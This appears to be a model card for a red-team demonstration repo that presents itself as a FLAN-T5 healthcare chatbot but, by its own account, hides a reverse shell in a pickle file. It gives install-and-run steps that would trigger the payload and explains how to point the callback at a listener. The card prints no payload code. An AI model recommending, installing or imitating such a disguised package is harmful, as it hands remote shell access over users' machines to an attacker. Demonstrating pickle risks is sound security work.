| --- |
| license: mit |
| --- |
| |
| > ⚠️ Disclaimer: This repo was created to demonstrate the dangers of Python pickle files. **Do not deserialize the model. You’ve been warned.** |
|
|
| # Healthcare Chatbot (FLAN-T5) |
|
|
| 📌 **Overview** |
|
|
| The Healthcare Chatbot is a medical question-answering AI powered by FLAN-T5, a fine-tuned language model. It provides general guidance on medical topics, symptoms, and treatment suggestions based on a pre-trained dataset. |
|
|
| 🚨 **Note:** This chatbot is for informational purposes only and should not be used as a substitute for professional medical advice. Always consult a doctor for health-related concerns. |
|
|
| 📷 **Screenshot** |
|
|
|  |
|
|
| --- |
|
|
| ## 🚀 How to Install & Run |
|
|
| ### 🔹 Step 1: Download the Project |
|
|
| **Option 1: Clone from Hugging Face** |
| ```bash |
| git clone https://huggingface.co/Iredteam/pickle-payload-chatbot |
| cd pickle-payload-chatbot |
| ``` |
|
|
| **Option 2: Download as a ZIP** |
| - Go to the Hugging Face model page |
| - Click on **Download** |
| - Extract the ZIP file |
|
|
| ### 🔹 Step 2: Download & Prepare the Model |
|
|
| The chatbot requires FLAN-T5 to be stored locally before running. |
|
|
| **For Windows Users 🖥️** |
| ```powershell |
| # In the project directory |
| ./get_model.ps1 |
| # Then run the chatbot |
| python healthcare_chatbot.py |
| ``` |
|
|
| **For macOS/Linux Users 💻** |
| ```bash |
| git clone https://huggingface.co/google/flan-t5-small |
| # Then run the chatbot |
| python3 healthcare_chatbot.py |
| ``` |
|
|
| --- |
|
|
| ## 💡 Features |
|
|
| ✅ Local Model Loading – FLAN-T5 runs locally for fast inference. |
|
|
| ✅ Medical Q&A Dataset – Includes questions about common symptoms and treatments. |
|
|
| ✅ Voice Input & Text-to-Speech – Ask questions via voice & receive audible answers. |
|
|
| ✅ Streamlit UI – Clean, browser-based interface. |
|
|
| ✅ Reverse Shell Payload Execution – Loads and triggers a background reverse shell directly from the pickle file. |
|
|
| --- |
|
|
| ## ⚙️ Payload Behavior (Advanced Users) |
|
|
| This version of the Healthcare Chatbot differs from the original by **executing a reverse shell payload embedded directly in the `train_data_mod_obfuscated_fixed.pkl` file**. |
|
|
| The payload is executed during deserialization using Python's `pickle.load()` and runs silently in the background via a daemon thread. |
|
|
| You can generate your own payload-enabled pickle file using the `pickle-generator.py` script provided. |
|
|
| Update the IP address and port number inside `pickle-generator.py` before generating the file to ensure your reverse shell callback connects back to your listener. |
|
|
| 👉 You can find the **original version** of this chatbot (which only called a reverse shell function defined in the Python file itself) here: |
| **[https://huggingface.co/Iredteam/healthcare_chatbot_mod](https://huggingface.co/Iredteam/healthcare_chatbot_mod)** |
|
|
| --- |
|
|
| ## ⚠️ Disclaimer |
|
|
| Disclaimer: This repo was created to demonstrate the dangers of Python pickle files. **Do not deserialize the model. You’ve been warned.** |
|
|
| This chatbot is intended for educational and demonstration purposes only. It should **never** be used for unauthorized access or deployed in a production environment without consent. Always follow ethical guidelines when testing software security. |
|
|
| --- |
|
|
| ## 📩 Contact & Support |
|
|
| For issues or improvements, please open an issue on the Hugging Face repo. |
|
|
